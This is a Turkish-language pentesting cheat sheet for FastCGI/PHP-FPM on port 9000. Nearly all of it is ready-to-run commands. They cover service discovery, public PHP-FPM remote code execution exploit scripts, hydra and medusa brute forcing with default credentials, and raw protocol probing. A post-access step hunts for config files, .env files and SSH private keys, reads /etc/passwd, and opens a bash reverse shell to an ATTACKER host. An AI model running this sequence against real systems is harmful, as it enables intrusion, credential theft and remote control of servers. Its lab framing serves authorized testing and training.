9000 - Pentesting FastCGI

FastCGI rce

Açık FastCGI/PHP-FPM soketi SCRIPT_FILENAME ile keyfi PHP çalıştırma demektir. Hedef lab IP’si üzerinde komutları 9000 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 9000 doğrula.

2. FCGI probe.

3. SCRIPT_FILENAME PoC.

4. Reverse shell.

Keşif

nmap -Pn -sV -p9000 TARGET

fcgi_probe TARGET 9000

python3 fpm-rce.py TARGET 9000 /var/www/html/index.php

RCE

python3 phuip-fpizdam/scripts/exploit.py http://TARGET/index.php

git clone https://github.com/w18173/php-fpm-rce

python3 exp.py TARGET 9000 'id'

Derin enum

FastCGI için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p9000 TARGET

nmap -Pn -p9000 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:9000' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',9000));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → FastCGI

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 9000 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 9000

nmap -p9000 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit FastCGI

msfconsole -q -x 'search FastCGI; exit'

nuclei -u https://TARGET:9000 -t cves/ -silent -severity || true

nuclei -u http://TARGET:9000 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 9000

printf '
' | timeout 3 nc -nv TARGET 9000

curl -vk --http1.0 http://TARGET:9000/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt
